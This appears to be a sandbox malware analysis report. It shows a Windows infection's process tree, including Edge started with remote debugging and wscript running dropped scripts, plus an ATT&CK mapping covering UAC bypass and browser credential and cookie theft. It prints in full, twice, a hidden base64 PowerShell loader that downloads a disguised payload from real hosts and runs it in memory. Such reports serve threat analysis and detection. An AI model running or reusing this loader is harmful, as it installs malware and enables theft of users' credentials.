      Uses browser remote debugging
      PID:2800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --instant-process --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3500,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4208,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --extension-process --renderer-sub-type=extension --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4260,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:2
      4⤵
      Uses browser remote debugging
      PID:1188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=5060,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:8
      4⤵
      PID:4868
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=3596,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:8
      4⤵
      PID:2700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=5308,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4420 /prefetch:8
      4⤵
      PID:2284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=5448,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:8
      4⤵
      PID:700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6052,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:8
      4⤵
      PID:1032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6052,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:8
      4⤵
      PID:4240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6148,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:8
      4⤵
      PID:3860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6380,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:8
      4⤵
      PID:5032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6528,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:8
      4⤵
      PID:3452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6176,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6504 /prefetch:8
      4⤵
      PID:4248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6636,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6632 /prefetch:8
      4⤵
      PID:4144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6792,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6784 /prefetch:8
      4⤵
      PID:2140
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6952,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6944 /prefetch:8
      4⤵
      PID:636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\TmpUserData" --always-read-main-dll --field-trial-handle=6932,i,12900654336332378278,2986111356778218362,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6800 /prefetch:8
      4⤵
      PID:4748
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\zwwlaffwbaj.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4956

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\Downloads\Name_File.js
1⤵
PID:2184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JExpbW9uID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIyLjAuNjI2MS45NSBTYWZhcmkvNTM3LjM2Iik7DQokTGltb24uSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7DQokc3VscGhvdGVsbHVyaWRlID0gJ2h0dHBzOi8vaWE4MDE3MDQudXMuYXJjaGl2ZS5vcmcvNS9pdGVtcy9vcHRpbWl6ZWRfbXNpXzIwMjUxMTIwXzAxMjAvb3B0aW1pemVkX01TSS5wbmcnOw0KJHNoaWVsZHMgPSAkTGltb24uRG93bmxvYWREYXRhKCRzdWxwaG90ZWxsdXJpZGUpOw0KJHNjcmF0Y2hib2FyZCAgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHNoaWVsZHMpOw0KaWYgKCRzY3JhdGNoYm9hcmQgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsNCiAgJG11cmFsbHkgPSAkbWF0Y2hlc1sxXTsNCiAgJG94YW5vcmJvcm5lbnlsID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbXVyYWxseSkpOw0KICBbQ2xhc3NMaWJyYXJ5MS5DbGFzczFdOjpWQUkoJz1RSGUwNXlOeE1UTnpBRE55RVRNMUlETXk4MWIybFdkeEpYWXYwMmJqNUNibFpYWXlSWFlybG1jazVXWWo5eUw2TUhjMFJIYScsJzAnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2NtZCcsJzEnLCdjbWQnLCcwJywnaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvMTE4MTM3ODkwMjExNjAxNjIyMi8xNDM4NjgyNDIwNDc0ODEwNTIxL3NoaW0udmJzP2V4PTY5MTdjNGVhJmlzPTY5MTY3MzZhJmhtPTlhYjZmMTJlZjFmNGU4MzM3NDY3ZTI4MGI3Y2FjOTNmNTc3MjIxZDNmZjA4MTllMmViMzQ1NGYyNjMxMzIzNTUmJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCcxJywnVGFza19OYW1lJywnMCcsJycsJ2h0dHBzOi8vdG1wZmlsZXMub3JnL2RsLzc0MjY5NTIvdWFjLnBuZycsJycpOw0KfQ==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1852
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\SysWOW64\cmd.exe"
  2⤵
  PID:2504

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Public\Downloads\Name_File.js
1⤵
PID:2696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JExpbW9uID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTIyLjAuNjI2MS45NSBTYWZhcmkvNTM3LjM2Iik7DQokTGltb24uSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTsNCiRMaW1vbi5IZWFkZXJzLkFkZCgiQWNjZXB0LUxhbmd1YWdlIiwgImVuLVVTLGVuO3E9MC45Iik7DQokc3VscGhvdGVsbHVyaWRlID0gJ2h0dHBzOi8vaWE4MDE3MDQudXMuYXJjaGl2ZS5vcmcvNS9pdGVtcy9vcHRpbWl6ZWRfbXNpXzIwMjUxMTIwXzAxMjAvb3B0aW1pemVkX01TSS5wbmcnOw0KJHNoaWVsZHMgPSAkTGltb24uRG93bmxvYWREYXRhKCRzdWxwaG90ZWxsdXJpZGUpOw0KJHNjcmF0Y2hib2FyZCAgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHNoaWVsZHMpOw0KaWYgKCRzY3JhdGNoYm9hcmQgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsNCiAgJG11cmFsbHkgPSAkbWF0Y2hlc1sxXTsNCiAgJG94YW5vcmJvcm5lbnlsID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbXVyYWxseSkpOw0KICBbQ2xhc3NMaWJyYXJ5MS5DbGFzczFdOjpWQUkoJz1RSGUwNXlOeE1UTnpBRE55RVRNMUlETXk4MWIybFdkeEpYWXYwMmJqNUNibFpYWXlSWFlybG1jazVXWWo5eUw2TUhjMFJIYScsJzAnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ2NtZCcsJzEnLCdjbWQnLCcwJywnaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvMTE4MTM3ODkwMjExNjAxNjIyMi8xNDM4NjgyNDIwNDc0ODEwNTIxL3NoaW0udmJzP2V4PTY5MTdjNGVhJmlzPTY5MTY3MzZhJmhtPTlhYjZmMTJlZjFmNGU4MzM3NDY3ZTI4MGI3Y2FjOTNmNTc3MjIxZDNmZjA4MTllMmViMzQ1NGYyNjMxMzIzNTUmJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCcxJywnVGFza19OYW1lJywnMCcsJycsJ2h0dHBzOi8vdG1wZmlsZXMub3JnL2RsLzc0MjY5NTIvdWFjLnBuZycsJycpOw0KfQ==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3440
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\SysWOW64\cmd.exe"
  2⤵
  PID:2352
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2352 -s 512
    3⤵
    - Program crash
    PID:1180
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2352 -s 516
    3⤵
    - Program crash
    PID:4220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2352 -ip 2352
1⤵
PID:2140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2352 -ip 2352
1⤵
PID:2284

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Modify Authentication Process

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery